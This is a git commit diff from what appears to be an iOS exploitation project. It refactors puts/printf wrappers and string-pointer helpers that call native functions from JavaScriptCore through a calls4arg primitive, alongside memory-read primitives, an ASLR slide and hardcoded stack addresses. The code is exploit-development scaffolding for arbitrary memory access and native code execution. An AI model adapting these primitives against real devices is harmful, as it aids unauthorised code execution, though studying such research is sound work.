hahahahaha we're all gonna die *hbomberguy intro*

4 files changed, 39 insertions, 16 deletions

diff --git a/src/gen/main.c b/src/gen/main.c
index 3c8d513..5d6be0a 100644
--- a/src/gen/main.c
+++ b/src/gen/main.c
@@ -10,6 +10,7 @@
 #include <unistd.h>
 #include <string.h>
 #include <stdio.h>
+#include <dlfcn.h>
 
 #include "stage1_primitives.h"
 #include "stage0_primitives.h"
@@ -202,6 +203,8 @@ int main(int   argc,
 	fprintf(fp, "#   - with love from spv <3\n");
 	fprintf(fp, "\n");
 
+	fprintf(stderr, "0x%x\n", RTLD_DEFAULT);
+
 	uint32_t	stack_base					= 0x1c7738; // my shell setup
 //	uint32_t	stack_base					= 0x1c7c88; // my 4s shell setup
 //	uint32_t	stack_base					= 0x1c2e48; // my lldb
diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js
index 80d4d9b..38b85b8 100644
--- a/src/js/lib/myutils.js
+++ b/src/js/lib/myutils.js
@@ -1,9 +1,28 @@
 function puts(s) {
-	return calls4arg("puts\0", sptr(s + "\0"), 0, 0, 0);
+	return calls4arg("puts\0", sptr(s), 0, 0, 0);
 }
 
 function printf() {
+	if (arguments.length > 4) {
+		return printf("warning: tried to printf with %d args, max %d.\n", arguments.length, 4);
+	}
+
+	var args_to_pass = new Array();
+
+	args_to_pass.push("printf");
+
 	for (var i = 0; i < arguments.length; i++) {
-		puts(arguments[i]);
+		if (arguments[i].constructor === String) {
+			args_to_pass.push(sptr(arguments[i]));
+		} else {
+			args_to_pass.push(arguments[i]);
+		}
 	}
+
+	var count_to_me = 5 - arguments.length;
+	for (var i = 0; i < count_to_me; i++) {
+		args_to_pass.push(0);
+	}
+
+	return calls4arg.apply(this, args_to_pass);
 }
\ No newline at end of file
diff --git a/src/js/main.js b/src/js/main.js
index e040d05..4c29430 100644
--- a/src/js/main.js
+++ b/src/js/main.js
@@ -37,20 +37,14 @@ function main() {
 	puts("we out here");
 	puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?");
 
-	log("slide=0x" + slide.toString(16));
-	log("*(uint8_t*)base = 0x" + read_u8(base).toString(16));
-	log("*(uint16_t*)base = 0x" + read_u16(base).toString(16));
-	log("*(uint32_t*)base = 0x" + read_u32(base).toString(16));
-
-	predicted_jsobject_addy = 0x422200;
-	buf = read_buf(predicted_jsobject_addy, 0x200);
-
-	log("hexdump of predicted jsobject loc:");
-	log(hexdump(buf, 8, 2, predicted_jsobject_addy, 8, "0x"));
+	printf("slide=0x%x\n", slide);
+	printf("*(uint8_t*)base = 0x%x\n", read_u8(base));
+	printf("*(uint16_t*)base = 0x%x\n", read_u16(base));
+	printf("*(uint32_t*)base = 0x%x\n", read_u32(base));
 
 	var i = 0;
 	while (true) {
-		calls4arg("syslog\0", 0x28, sptr("get rekt from jsc %d (slide=%x)\n\0"), i, 0);
+		calls4arg("syslog", 0x28, sptr("get rekt from jsc %d (slide=%x)\n"), i, 0);
 		calls4arg("sleep", 0, 0, 0, 0);
 		i++;
 	}
diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js
index b0746b4..551b59f 100644
--- a/src/js/primitives/mem.js
+++ b/src/js/primitives/mem.js
@@ -169,16 +169,16 @@ function init_sptr_heap() {
 	sptr_size = 0x1000000;
 	sptr_len = 0;
 
-	calls4arg("printf\0", sptr("sptr_heap=%p\n\0"), global_sptr_addy, 0, 0);
+	calls4arg("printf\0", sptr("sptr_heap=%p\n"), global_sptr_addy, 0, 0);
 
 	return global_sptr_addy;
 }
 
 /*
- *  sptr is meant to give you a pointer to a specified string
+ *  _sptr is meant to give you a pointer to a specified string
  *  remember your nul's!
  */
-function sptr(s) {
+function _sptr(s) {
 	if ((sptr_len + s.length) >= sptr_size) {
 		/*
 		 *  expand sptr heap if it's too small
@@ -198,4 +198,11 @@ function sptr(s) {
 	write_str(global_sptr_addy, s);
 	global_sptr_addy += s.length;
 	return global_sptr_addy - s.length;
+}
+
+/*
+ *  sptr but with nul
+ */
+function sptr(s) {
+	return _sptr(s + "\0");
 }
\ No newline at end of file